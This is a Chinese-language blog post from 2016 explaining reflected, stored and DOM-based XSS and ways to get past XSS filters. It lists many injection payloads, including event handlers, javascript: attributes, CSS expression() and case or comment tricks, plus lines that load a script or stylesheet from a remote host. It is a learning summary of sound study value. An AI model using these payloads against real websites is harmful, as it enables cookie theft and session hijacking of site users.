本文写于 2016.04.10

引言

学习 Web 安全,必然是从 SQL 注射和 XSS 开始的,毕竟貌似比较基础。学习了几天,没挖出什么洞,只好先总结一下。。。 名言金句:见框就插、改数据包不可见部分、改 URL 参数、js 分析。

XSS 分类

1、反射型跨站脚本(Reflected Cross-site Scripting)。主要是将恶意脚本附加到 URL 地址的参数中,原理如下:发现存在反射 XSS 的 URL——根据输出点的环境构造 XSS 代码——进行编码等迷惑手法——发送给受害人——受害打开后,执行 XSS 代码——完成攻击(获取 cookies、url、浏览器信息、IP 等)。反射型 XSS 的特点是只在用户单击时触发,且只执行一次,故也称作非持久型跨站。 例如:

http://www.test.com/search.php?key="><script>alert("XSS")</script>
http://www.test.com/view.shtml?query=%3Cscript%3Ealert%281%29%3C/script%3E
http://www.test.com/logout.asp?out=1&url=javascript:alert(document.cookie)
Title: 反射型XSS攻击流程
攻击者->受害者: XSS链接&恶意脚本
受害者->服务器: 请求
服务器->>受害者: 响应

反射xss

2、持久型跨站脚本(Persistent Cross-site Scripting)。攻击者事先将恶意 JavaScript 代码上传或储存到漏洞服务器上,只要受害者浏览包含此恶意代码的页面就会中招。一般出现在留言、评论等交互处。

Title: 持久型XSS攻击流程
攻击者->服务器: 注入恶意代码
受害者->服务器: 请求
服务器->>受害者: 响应

持久xss

3、DOM XSS。前面两种 XSS 一般出现在服务器端代码中,而 DOM-Based XSS 是基于DOM文档对象模型,受客户端浏览器代码的影响。这一漏洞的前提是,一个网页以不安全的方式使用 document.locationdocument.URLdocument.referrer 等对象获取数据。 举个例子,有如下 HTML 代码:

<html>
  <head>
    <title>Welcome!</title>
  </head>
  <body>
    <p>Hi</p>
    <script>
      var pos=document.URL.indexOf("name=")+5;
      document.write(document.URL.substring(pos,document.URL.length));
    </script>
  </body>
</html>

通常,这个欢迎网页的请求是这样的: http://www.test.com/welcome.html?name=lihua 然而,如果这个请求是这样的: http://www.test.com/welcome.html?name=<script>alert(document.cookie)</script> 这就导致了 XSS,弹出了 cookie。

4、最后贴一张比较图。

xss

XSS 构造剖析

现实中大多数的网站都有一个 XSS Filter,用来分析用户提交的输入,并消除潜在的跨站脚本攻击。XSS Filter 一般是基于黑白名单的安全过滤策略,于是就存在被绕过的可能。 1、利用 <> 标记注射 html/javascript。 如:<script>alert('XSS'); </script> 2、利用 html 标签属性值执行 XSS。很多 html 标记中的属性都支持 javascript:[code] 伪协议,可以尝试这些属性:hreflowsrcbgsoundbackgroundvalueactiondynsrc 等。 举个例子: <table background="javascript:alert('xss')"></table> <img src="javascript:alert('XSS');"> 3、空格回车 Tab。javascript 结束一条语句的方式有两种,一种是分号;,另一种是当 javascript 引擎确定一个句子完整,而这一行的结尾有换行符。 于是可以构造如下:

<img src="ja    vas
cript:
ale rt('XSS')>

4、进行各种转码。常用的 URL 编码,unicode 编码,HTML 编码,CSS 编码等。 5、产生事件法。javascript 和 html 通过事件来进行交互,事件能让 javascript 代码运行,也就能执行跨站脚本。 例如: <img src="#" onerror=alert('XSS')> <input type="button" value="click me" onclick="alert('XSS')"/> 6、利用 CSS 跨站。这一方法灵活多变而且隐蔽,可以嵌入到 html 中,如:

<div style="background-image:url(javascript:alert('XSS'))">
<style>
  body {background-image: url("javascript:alert('XSS')");}
</style>

也可以从其他文件中引用: <link ret="stylesheet" href="http://www.test.com/attack.css"> <style type='text/css'>@import url(http://www.test.com/attack.css);</style> 还可以用 expression 执行 javascript:

<div style="width: expression(alert('XSS'));">
<img src="#" style="xss:expression(alert('XSS'));">
<style>
  body {background-image: expression(alert('XSS'));}
</style>

7、扰乱过滤规则。 大小写转换法:<sCrIpt>alert('XSS')</ScripT> 干扰字符污染法:<div style="wid/****/th: expre/*XSS*/ssion(alert('XSS'));"> 字符编码法:<script%20src%3D"http%3A%2F%2F0300.0250.0000.0001"><%2Fscript> 拼凑法:<scr<script>rip>alalertert</scr</script>rip>

结尾

参考资料: